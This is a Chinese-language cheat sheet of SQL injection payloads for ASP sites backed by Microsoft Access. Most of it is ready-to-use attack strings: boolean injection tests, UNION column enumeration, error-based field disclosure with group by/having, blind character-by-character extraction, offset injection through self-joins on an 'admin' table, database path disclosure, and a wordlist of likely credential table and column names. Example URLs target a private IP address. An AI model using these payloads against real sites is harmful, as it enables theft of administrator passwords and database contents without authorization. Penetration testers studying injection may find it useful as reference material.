注入判断:
单引号:'
数字型:and 1=1 /and 1=2
字符型:' and '1'='1 /' and '1'='2
搜索型:%' and 1=1 and '%'=' / %' and 1=2 and '%'='
Asp注入的三种方法:
第一种:联合查询
1.使用order by对数据进行排序,判断存在多少个列表
order by 22 正确
order by 23 错误
2.使用UNION联合查询判断
+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
这里猜测表名为admin,使用联合查询的方法
3.猜解列名填入前端显示处返回列表内容
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22+from+admin
第二种:猜解
2.1爆破的方式
猜表名
返回正确说明存在相关表名
AND exists(select * from tablesname)
猜列名
返回正确说明列名存在
AND exists(select columnsname from tablesname)
特殊方法:
在Access数据库里,也支持having 和 group by 语句
A、如果站点SQL查询语句为 select id,name,address from 表名
也就是说查询的是特定的字段数据(而不是*),那么我们可以这么爆,
productshow.asp?id=25 group by 1 having 1=1(数字型),
如果字符型就 'group by 1 having '1'='1'
返回错误:
Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。
爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1
返回错误:
Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。
依次类推productshow.asp?id=25 group by 1,id,email having 1=1,可以爆出目标表中的所有字段
B、如果站点SQL查询语句为select * from product where id=”ID”
那么执行上述语句就会返 回这样的错误:
Microsoft JET Database Engine 错误 '80040e21' 不能将已选定'*'的字段中组合。/productshow.asp,行 18
这时我们可以这样爆字段,
productshow.asp?id=25 having sum(1)=1(数字型)
' having sum('1')='1')(字符型)
返回的错误:
Microsoft JET Database Engine 错误 '80040e21' 试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。/productshow.asp,行 18
可以看到爆出了ID。
但这样很有局限性,只能爆出第一个字段id,其他的就没办法了。而id字段其实可能是可以直接猜出来的。
2.2逐字猜解的方法
猜解列中内容的行数
x为内容的行数大于等于0开始,返回正确说明存在
AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)
如下表单为admin,AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)
猜解内容的长度
如果目标注入点不直接回显错误信息,则我们需要首先知道目标字段内容的长度,才能进一步通过写脚本爆破出字段内容。
需要已知表名和列名然后猜列中字段长度
AND IIF((SELECT TOP 1 LEN(columnsname) FROM tablesname) = x, 1, 0)
或者
and (select top 1 len(columnsname)from tablesname)>x
猜解内容
and (select top 1 asc(mid(列名,位数,1)) from 表名)>97
神奇的分割线
Access偏移注入
偏移注入的使用条件如下:
主查询语句的字段数大于或等于目标表列的两倍最好,这样一般都能显示齐。
知道目标表的一个字段,比如id,但是却不知道其他字段。
简单说下偏移注入原理:
1.Union联合查询需要列相等,顺序一样;
2.这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行。显然,a、b都是同一个表,当然全部返回啦。
select * from admin as a inner join admin as b on a.id=b.id
(1)order by 判断存在的字段数
使用*号代替所有字段直到访问返回正确。这里可以看到16时候正确,同时也表示admin下有6个字段。
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
(2) 计算偏移后剩余的字段位数
公式 : 总字段数-(总字段数-剩余字段数)*2=
例: 22-(22-16)*2=10
(3) 使用偏移查看是否直接爆出字段内容
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
(4)如果显示不完全添加新的id
星号*代表了所有字段,如你查admin表,他有几个字段,那么星号就代表几个字段。
如果爆出的内容不在可显示字段怎么办?那么添加a.id字段,bid字段
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
(5)如果依然有问题,可以进行二级偏移
二级偏移同时需要再减去admin的字段数量6个,同时添加c.id
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
这里假设主语句查询字段共20个,目标表admin字段数为5。
大家是否觉得很疑惑:10+2 + 5*2 = 22 > 20
但这条语句是合法的。因为a.id和 b.id在 * 里是有的,那么自动去掉重复的元素以保持结果集合里元素的唯一性。这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱很有可能让username、password等字段偏移到可显示位置。
如果还没成功 怎么办?
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
其他技巧
检测数据库是否开启沙箱模式
SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1
用TOP代替LIMIT
LIMIT不被支持,但在查询中可以声明”TOP N”来限制返回内容的行数:
UNION SELECT TOP 3 AttrName FROM validTableName
字符串连接
支持CONCAT()函数,可以使用”&”或”+”操作来连接两个字符串。在使用时必须对这两个操作符进行URLencode编码
UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
爆数据库路径
可以通过对一个不存在的库进行SELECT操作,Access将会返回一条包含有完整路径的错误信息:
UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
表名/列名字典
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;